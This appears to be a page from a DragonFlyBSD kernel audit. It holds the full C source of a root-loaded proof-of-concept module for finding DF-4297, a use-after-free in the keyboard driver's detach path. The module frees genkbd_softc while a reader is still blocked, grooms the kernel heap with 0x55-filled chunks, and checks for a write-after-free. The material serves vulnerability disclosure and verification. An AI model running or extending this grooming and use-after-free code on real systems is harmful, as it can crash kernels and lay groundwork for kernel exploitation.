⬢ DragonFlyBSD Kernel Audit
DF-4297 / kbdkill.c
← back to finding ↓ download raw
/*
 * kbdkill.c - DF-4297 PoC helper module.
 *
 * Reproduces the *driver detach* path into sys/dev/misc/kbd/kbd.c exactly the
 * way ukbd_detach() (sys/bus/u4b/input/ukbd.c:1408) does it:
 *
 *	kbd_detach(kbd)  ->  kbd.c:597-606: frees dev->si_drv1 (the
 *	                         genkbd_softc) with NO KBD_IS_BUSY check,
 *	                         NO wakeup of readers blocked in genkbdread
 *	                         (tsleep "kbdrea", kbd.c:750) and NO knote
 *	                         purge (gkb_rkq lives inside the freed sc).
 *
 * A root-triggered KLD is the same privilege level the bug needs (module
 * load / driver detach). The module adds three sysctls:
 *
 *	hw.kbdkill.index    keyboard index to operate on (default 0)
 *	hw.kbdkill.detach   1 -> kbd_detach(kbd)        (free genkbd_softc)
 *	hw.kbdkill.attach   1 -> kbd_attach(kbd)        (re-create, for retries)
 *	hw.kbdkill.groom    1 -> kmalloc 256x536 M_DEVBUF chunks, fill 0x55
 *	hw.kbdkill.check    1 -> scan groom chunks; any first word != 0x55555555
 *	                         proves a write-after-free landed in a live object
 *
 * $FreeBSD$
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/malloc.h>
#include <sys/conf.h>
#include <sys/types.h>
#include <sys/kbio.h>

#define KBD_INSTALL_CDEV	/* kbdreg.h: kbd_attach/kbd_detach decls */
#include "kbdreg.h"

#define GROOM_N		256
#define GROOM_SZ	536	/* sizeof(struct genkbd_softc), kbd.c:67-74 */

static int kbdkill_index = 0;
static void *groom[GROOM_N];
static int groom_done;

/* DF-4297: the freed genkbd_softc address and its gkb_flags snapshots */
static volatile u_int *dead_sc_flags;
static u_int flags_v0, flags_v1, flags_v2;

static int
kbdkill_detach_handler(SYSCTL_HANDLER_ARGS)
{
	keyboard_t *kbd;
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);

	kbd = kbd_get_keyboard(kbdkill_index);
	if (kbd == NULL) {
		kprintf("kbdkill: keyboard index %d not registered\n",
			kbdkill_index);
		return (ENXIO);
	}
	if (kbd->kb_dev && kbd->kb_dev->si_drv1)
		kprintf("kbdkill: BEFORE kbd_detach: kbd%d (%s%d) "
			"si_drv1=%p (genkbd_softc to be freed)\n",
			kbdkill_index, kbd->kb_name, kbd->kb_unit,
			kbd->kb_dev->si_drv1);
	else
		kprintf("kbdkill: BEFORE kbd_detach: kbd%d (%s%d) "
			"(si_drv1 already gone)\n",
			kbdkill_index, kbd->kb_name, kbd->kb_unit);

	kbd_detach(kbd);

	kprintf("kbdkill: AFTER kbd_detach: si_drv1 freed, minor removed; "
		"any reader blocked in genkbdread still holds the freed "
		"pointer and was NOT woken\n");
	return (0);
}

static int
kbdkill_attach_handler(SYSCTL_HANDLER_ARGS)
{
	keyboard_t *kbd;
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);

	kbd = kbd_get_keyboard(kbdkill_index);
	if (kbd == NULL)
		return (ENXIO);
	kbd_attach(kbd);
	kprintf("kbdkill: kbd_attach done (fresh si_drv1, for retries)\n");
	return (0);
}

static int
kbdkill_groom_handler(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0, i;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);

	for (i = 0; i < GROOM_N; i++) {
		groom[i] = kmalloc(GROOM_SZ, M_DEVBUF, M_WAITOK | M_ZERO);
		if (groom[i] == NULL) {
			kprintf("kbdkill: groom alloc %d failed\n", i);
			break;
		}
		memset(groom[i], 0x55, GROOM_SZ);
	}
	groom_done = (i > 0);
	kprintf("kbdkill: groomed %d x %d-byte M_DEVBUF chunks with 0x55 "
		"(first @ %p)\n", i, GROOM_SZ, groom[0]);
	return (0);
}

static int
kbdkill_check_handler(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0, i, bad = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);

	if (!groom_done) {
		kprintf("kbdkill: groom first\n");
		return (0);
	}
	for (i = 0; i < GROOM_N; i++) {
		if (groom[i] == NULL)
			break;
		u_int w0 = *(volatile u_int *)groom[i];
		if (w0 != 0x55555555u) {
			kprintf("kbdkill: *** CORRUPTED LIVE OBJECT *** "
				"chunk %d @ %p first word 0x%08x "
				"(expected 0x55555555)\n",
				i, groom[i], w0);
			bad++;
		}
	}
	if (bad == 0)
		kprintf("kbdkill: no groom chunk corrupted this round\n");
	else
		kprintf("kbdkill: %d groom chunk(s) corrupted by the stale "
			"genkbdread sc->gkb_flags &= ~KB_ASLEEP write "
			"(kbd.c:757) - WRITE-AFTER-FREE CONFIRMED\n", bad);
	return (0);
}

static int
kbdkill_run_handler(SYSCTL_HANDLER_ARGS)
{
	keyboard_t *kbd;
	int error, v = 0, i;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);

	/* kbd_detach: frees dev->si_drv1 (genkbd_softc) */
	kbd = kbd_get_keyboard(kbdkill_index);
	if (kbd == NULL) {
		kprintf("kbdkill: keyboard index %d not registered\n",
			kbdkill_index);
		return (ENXIO);
	}
	dead_sc_flags = NULL;
	if (kbd->kb_dev && kbd->kb_dev->si_drv1) {
		dead_sc_flags = (volatile u_int *)kbd->kb_dev->si_drv1;
		flags_v0 = *dead_sc_flags;	/* expect KB_ASLEEP (1):
						 * reader set it in
						 * genkbdread kbd.c:749 */
	}
	kprintf("kbdkill: run: before kbd_detach: kbd%d (%s%d) si_drv1=%p "
		"gkb_flags=0x%08x\n",
		kbdkill_index, kbd->kb_name, kbd->kb_unit,
		(kbd->kb_dev ? kbd->kb_dev->si_drv1 : NULL), flags_v0);
	kbd_detach(kbd);
	kprintf("kbdkill: run: kbd_detach done - genkbd_softc freed at %p "
		"(reader still blocked in genkbdread holds this pointer)\n",
		dead_sc_flags);

	/* immediately reclaim the freed chunk on this CPU */
	for (i = 0; i < GROOM_N; i++) {
		groom[i] = kmalloc(GROOM_SZ, M_DEVBUF, M_WAITOK | M_ZERO);
		if (groom[i] == NULL)
			break;
		memset(groom[i], 0x55, GROOM_SZ);
	}
	groom_done = (i > 0);
	kprintf("kbdkill: run: kbd_detach done; groomed %d x %d chunks "
		"(first @ %p)\n", i, GROOM_SZ, groom[0]);
	return (0);
}

static int
kbdkill_snap_handler(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (dead_sc_flags == NULL) {
		kprintf("kbdkill: snap: no freed sc recorded (run first)\n");
		return (0);
	}
	flags_v1 = *dead_sc_flags;	/* value while freed, pre-signal */
	kprintf("kbdkill: snap: freed sc gkb_flags = 0x%08x (pre-signal)\n",
		flags_v1);
	return (0);
}

static int
kbdkill_check2_handler(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (dead_sc_flags == NULL) {
		kprintf("kbdkill: check2: no freed sc recorded (run first)\n");
		return (0);
	}
	flags_v2 = *dead_sc_flags;	/* value after the reader's EINTR path */
	kprintf("kbdkill: check2: freed sc gkb_flags now 0x%08x "
		"(v0=0x%08x pre-free, v1=0x%08x pre-signal)\n",
		flags_v2, flags_v0, flags_v1);
	if (flags_v1 == flags_v0 && flags_v2 != flags_v1 &&
	    (flags_v1 & 1) && !(flags_v2 & 1))
		kprintf("kbdkill: *** WRITE-AFTER-FREE CONFIRMED *** the "
			"signalled genkbdread cleared KB_ASLEEP in the FREED "
			"genkbd_softc at %p (kbd.c:757)\n", dead_sc_flags);
	else if (flags_v2 != flags_v1)
		kprintf("kbdkill: freed sc content changed after signal "
			"(0x%08x -> 0x%08x)\n", flags_v1, flags_v2);
	else
		kprintf("kbdkill: freed sc content unchanged - stale write "
			"did not manifest this run\n");
	return (0);
}

static SYSCTL_NODE(_hw, OID_AUTO, kbdkill, CTLFLAG_RW, 0, "kbdkill ctl");

SYSCTL_INT(_hw_kbdkill, OID_AUTO, index, CTLFLAG_RW, &kbdkill_index, 0,
	   "keyboard index to operate on");
SYSCTL_PROC(_hw_kbdkill, OID_AUTO, detach, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, kbdkill_detach_handler, "I", "1 = kbd_detach(kbd)");
SYSCTL_PROC(_hw_kbdkill, OID_AUTO, attach, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, kbdkill_attach_handler, "I", "1 = kbd_attach(kbd)");
SYSCTL_PROC(_hw_kbdkill, OID_AUTO, groom, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, kbdkill_groom_handler, "I", "1 = groom freed-chunk zone");
SYSCTL_PROC(_hw_kbdkill, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, kbdkill_run_handler, "I",
	    "1 = kbd_detach + immediate groom, single shot");
SYSCTL_PROC(_hw_kbdkill, OID_AUTO, check, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, kbdkill_check_handler, "I", "1 = check groom chunks");
SYSCTL_PROC(_hw_kbdkill, OID_AUTO, snap, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, kbdkill_snap_handler, "I",
	    "1 = snapshot gkb_flags at the freed genkbd_softc (pre-signal)");
SYSCTL_PROC(_hw_kbdkill, OID_AUTO, check2, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, kbdkill_check2_handler, "I",
	    "1 = re-read gkb_flags at the freed sc (post-signal)");

static int
kbdkill_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("kbdkill: loaded (DF-4297 PoC helper)\n");
		return (0);
	case MOD_UNLOAD:
		for (int i = 0; i < GROOM_N; i++) {
			if (groom[i]) {
				kfree(groom[i], M_DEVBUF);
				groom[i] = NULL;
			}
		}
		kprintf("kbdkill: unloaded\n");
		return (0);
	default:
		return (0);
	}
}

static moduledata_t kbdkill_mod = { "kbdkill", kbdkill_load, NULL };
DECLARE_MODULE(kbdkill, kbdkill_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);